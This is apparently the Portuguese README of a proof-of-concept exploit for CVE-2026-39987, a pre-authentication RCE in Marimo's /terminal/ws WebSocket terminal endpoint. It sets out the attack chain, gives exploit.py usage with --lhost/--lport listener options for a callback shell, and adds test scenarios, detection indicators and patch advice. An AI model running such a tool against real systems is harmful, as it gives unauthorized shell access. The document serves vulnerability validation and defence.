
Prova de conceito de exploit para CVE-2026-39987, uma RCE pré-autenticação no endpoint WebSocket de terminal do Marimo. Demonstra execução de comandos não autenticada e inclui testes de validação para instâncias vulneráveis e corrigidas.
| Propriedade | Valor |
|---|
| CVE | CVE-2026-39987 |
| Produto | Marimo |
| Vulnerabilidade | Execução Remota de Código Pré-Autenticação |
| Vetor de Ataque | Rede |
| Autenticação | Não necessária |
| Interação do Usuário | Não necessária |
| CWE | CWE-306 — Ausência de Autenticação para Função Crítica |
| Severidade | Crítica |
| Versão Corrigida | 0.23.0 |
CVE-2026-39987 é uma vulnerabilidade crítica de Execução Remota de Código (RCE) pré-autenticação que afeta o Marimo, um ambiente de notebook Python reativo. A vulnerabilidade está localizada no endpoint WebSocket de terminal /terminal/ws.
O endpoint de terminal vulnerável cria um PTY interativo após aceitar uma conexão WebSocket.
Conceitualmente, o fluxo de requisição vulnerável é:
Cliente Remoto
|
| Conexão WebSocket
v
/terminal/ws
|
| Validação de autenticação ausente
v
WebSocket aceito
|
v
PTY criado
|
v
Shell interativo
A fronteira de segurança importante é a verificação de autenticação ausente.
Um endpoint que expõe execução arbitrária de comandos não deve permitir que um cliente não autenticado alcance a lógica de criação de PTY.
O propósito deste projeto é demonstrar, em um ambiente controlado, a ausência de imposição de autenticação que afeta o endpoint WebSocket de terminal do Marimo.
As equipes de segurança podem usar o projeto para:
Aviso: Execute o PoC apenas contra sistemas que você possui ou para os quais possui autorização explícita para testar.
A cadeia completa da vulnerabilidade pode ser resumida da seguinte forma:
1. Atacante descobre instância Marimo exposta
|
v
2. Atacante conecta-se a /terminal/ws
|
v
3. Autenticação não é imposta
|
v
4. Conexão WebSocket é aceita
|
v
5. Terminal PTY é criado
|
v
6. Atacante obtém execução de comandos
|
v
7. Comandos executam como o processo Marimo
A falha crítica de segurança ocorre na etapa 3.
Python 3.7+
pip
Acesso à rede ao alvo autorizado
# Instalação básica
pip install websocket-client
# Instalação completa
pip install websocket-client rich
python3 exploit.py --help
python3 exploit.py -u <URL_ALVO> --lhost <IP_LOCAL> --lport <PORTA>
python3 exploit.py \
-u http://127.0.0.1:8081 \
--lhost 127.0.0.1 \
--lport 4444
python3 exploit.py \
-u https://marimo.example.com \
--lhost 192.168.1.100 \
--lport 5555 \
--timeout 30 \
--retries 5
python3 exploit.py \
-u http://target:8081 \
--lhost 10.0.0.5 \
--lport 9999 \
--verbose \
--no-verify-ssl \
--retry-delay 1.5
| Parâmetro | Tipo | Descrição | Padrão |
|---|---|---|---|
-u, --url | string | URL base da instância Marimo alvo | Obrigatório |
--lhost | string | Endereço IP do ouvinte | Obrigatório |
--lport | int | Porta do ouvinte (1-65535) | Obrigatório |
--timeout | int | Tempo limite do ouvinte em segundos | 15 |
--retries | int | Tentativas de conexão WebSocket | 3 |
--retry-delay | float | Atraso entre tentativas | 2.0 |
--no-verify-ssl | flag | Desativar verificação de certificado SSL | False |
-v, --verbose | flag | Ativar saída detalhada | False |
-s, --silent | flag | Suprimir saída | False |
Fase 1: Inicialização
↓ Validar parâmetros
↓ Configurar registro de logs
Fase 2: Preparação
↓ Inicializar ouvinte
↓ Estabelecer conexão WebSocket
Fase 3: Validação
↓ Testar endpoint de terminal
↓ Verificar imposição de autenticação
↓ Registrar comportamento da conexão
Fase 4: Demonstração
↓ Estabelecer sessão de teste autorizada
↓ Verificar contexto de execução de comandos
↓ Coletar evidências de validação
Fase 5: Limpeza
↓ Restaurar estado do terminal
↓ Fechar conexões
↓ Liberar recursos
python3 exploit.py \
-u http://vulnerable:8081 \
--lhost 10.0.0.1 \
--lport 4444
Resultado Esperado: O endpoint de terminal vulnerável aceita a conexão não autenticada.
python3 exploit.py \
-u http://patched:8081 \
--lhost 10.0.0.1 \
--lport 4444
Resultado Esperado: A conexão é rejeitada ou de outra forma impedida pelos controles de autenticação.
python3 exploit.py \
-u http://firewalled:8081 \
--lhost 10.0.0.1 \
--lport 4444 \
--timeout 5
Resultado Esperado: O tempo limite é reportado de forma limpa.
Severidade: Crítica (CVSS 9.3)
Complexidade: Baixa
Autenticação: Nenhuma necessária
Impacto: Execução Remota de Código
Protocolo: WebSocket
Endpoint: /terminal/ws
Versão Corrigida: 0.23.0
O README de origem classifica o problema como CVSS 9.3 Crítico e identifica CWE-306, WebSocket como protocolo e /terminal/ws como endpoint afetado.
Indicadores potenciais de exploração incluem conexões WebSocket inesperadas para:
/terminal/ws
Os defensores devem investigar:
Atualize o Marimo para uma versão corrigida:
0.23.0 ou posterior
Recomendações defensivas adicionais incluem:
/terminal/ws.CVE: CVE-2026-39987
CWE: CWE-306
Severidade: Crítica
Tipo: RCE Pré-Autenticação
Protocolo: WebSocket
Endpoint: /terminal/ws
Auth: Nenhuma necessária
Corrigido: 0.23.0
USO SOMENTE AUTORIZADO
Este projeto é fornecido exclusivamente para:
O uso não autorizado é estritamente proibido e pode violar leis locais e internacionais aplicáveis.
Este projeto é fornecido para pesquisa de segurança, validação de vulnerabilidades e fins educacionais.
Não use o PoC contra sistemas que você não possui ou para os quais não possui autorização explícita para testar.
Os mantenedores não são responsáveis por uso indevido, testes não autorizados, danos, perda de dados ou quaisquer consequências resultantes do uso deste projeto.